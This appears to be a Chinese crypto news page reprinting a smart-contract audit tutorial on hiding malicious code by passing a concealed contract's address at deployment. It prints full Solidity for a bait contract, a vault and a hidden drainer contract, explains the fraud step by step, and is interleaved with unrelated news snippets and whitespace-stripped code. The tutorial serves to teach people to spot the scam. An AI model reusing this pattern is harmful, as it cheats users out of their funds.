宇宙链 宇宙链
Ctrl+D收藏宇宙链
首页 > BNB > 正文

智能合约安全审计入门篇 —— 移花接木

作者:

时间:1900/1/1 0:00:00

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

人民银行数研所所长穆长春:数字人民币智能合约生态要坚持开放和开源:金色财经报道,中国人民银行数字货币研究所所长穆长春撰文《智能合约与数字人民币》,其中支持数字人民币智能合约生态要按四个方向和原则来建设: 一是坚持中心化管理和双层运营架构。二是保证合约模板的合法性和有效性。三是坚持开放和开源。四是持续进行技术升级,防范技术风险。[2023/3/27 13:28:27]

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

网络安全公司Halborn完成Apricot Finance智能合约审计:据官方消息,基于Solana网络的去中心化货币市场平台Apricot Finance与网络安全公司Halborn完成外部审计。

Apricot Finance一直与网络安全审计公司Halborn合作,以确保平台的安全。Halborn的任务是对借贷平台进行一系列安全测试,以防止任何低级漏洞。安全测试的范围包括根据Apricot智能合约私有Github存储库中的代码对风险和影响进行评估。经过Halborn团队对代码的手动审查以及自动化安全测试,Halborn对Apricot Finance协议的审计总体上取得了令人满意的结果。Halborn的外部审计使Apricot在确保即将推出的主网安全性方面又迈进了一步。

据悉,Apricot Finance即将上线主网。Apricot由Lend、X-Farm和Assist三个产品组成。[2021/10/4 17:24:04]

局分析

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

Solend在智能合约漏洞赏金平台Immunefi推出漏洞赏金计划:Solana生态借贷协议Solend在智能合约漏洞赏金平台Immunefi推出漏洞赏金计划,赏金总上限为50万美元。漏洞按等级分别奖励高达5万美元、2万美元和5千美元。漏洞范围为:因冻结或盗窃而损失(本金)用户资金;治理资金丢失;盗窃无人申领的收益;冻结无人申领的收益;资金暂时冻结至少1小时;无法调用智能合约。[2021/8/15 22:15:54]

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

MoneyMaker->Vault。

而实际的调用路径为:

MoneyMaker->Hack。

下面我们来看看攻击者如何完成局的:

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

市场押注Cardano不会在10月1日之前发布智能合约功能:金色财经报道,Polymarket周四出现了允许参与者押注Cardano区块链是否会在10月1日前发布智能合约功能的预测市场。目前该市场的交易量已超过157,000美元。选择“是”的份额为0.37美元,“否”的份额为0.63美元。更昂贵的注被认为更有可能是正确的,因此该市场目前倾向于预测智能合约功能将不会在10月开始时在Cardano上线。[2021/7/16 0:56:01]

2.Evil部署Hack(C)恶意合约;

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

白帽黑客从Lien Finance智能合约漏洞中解救出960万美元:安全研究员和白帽黑客Sam Sun(又名Samczsun)发现一个脆弱的合约持有超过25000 ETH,当时价值超过960万美元。Sun迅速意识到情况的严重性,开始深入研究,发现该合约是Lien Finance协议的一部分。9月15日,Sun等人从该智能合约中解救出960万美元。9月22日,Lien宣布已获知“BondMaker”程序中的bug。Lien表示在“救援”过程中没有资金损失。(Cryptonews )[2020/9/26]

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

标签:MAKEMakerULTVAULTMasterpiece Makermakerdao官网appPHUNK Vault (NFTX)SBLAND Vault (NFTX)

BNB热门资讯
历史进程中的京东

?残酷的存量竞争带来了竞争焦点和经营逻辑的变化,电商江湖的老炮和新秀都纷纷行动起来。「求变」,也是整个电商行业的2023关键词.

1900/1/1 0:00:00
漫威制作人Arad将把艺术家Ben Mauro的NFT系列《Huxley》改编成电影

据Decrypt2月26日消息,漫威电影制片人AriArad宣布将通过其AradProductions工作室把艺术家BenMauro的以太坊NFT系列漫画《Huxley》改编成电影.

1900/1/1 0:00:00
Loopring研究报告

目录 一、项目简介及愿景 二、特色和优势 三、发展历史 四、团队背景 五、融资信息 六、发展成果 七、经济模型 八、基本面分析 九、风险与机会 一、项目简介及愿景 Loopring协议是一个专为应用程序开发的zkRollup协议、一个.

1900/1/1 0:00:00
元宇宙玩家赶着上车ChatGPT 是跟风还是大势所趋?

作者:徐珊? 大热的ChatGPT正一跃成为当下科技圈热门的话题之一,压过已经火热两年之久的元宇宙。曾经三句话不离元宇宙的产业人士们又开始谈起了“ChatGPT将会如何改变世界”.

1900/1/1 0:00:00
巴比特 | 元宇宙每日必读:Meta开源了一种可横跨6种不同模态的AI模型ImageBind,可同时处理6种感官数据,元宇宙建设将更进一步

摘要:据《科创板日报》报道,当地时间5月9日,Meta宣布开源了一种可以将可以横跨6种不同模态的全新AI模型ImageBind,包括视觉、温度、文本、音频、深度信息、运动读数。ImageBind可做到6个模态之间任意的理解和转换.

1900/1/1 0:00:00
证券时报:数字人民币将成为安全普惠零售支付基础设施

来源:证券时报 作者:王君晖 近日,央行首次披露数字人民币研发情况,随着数字人民币从理论走向现实,中国在该领域的实践已走在全球前列。在当前电子支付工具已经十分便捷的情况下,为何仍要推出数字人民币?这往往是公众的第一疑问.

1900/1/1 0:00:00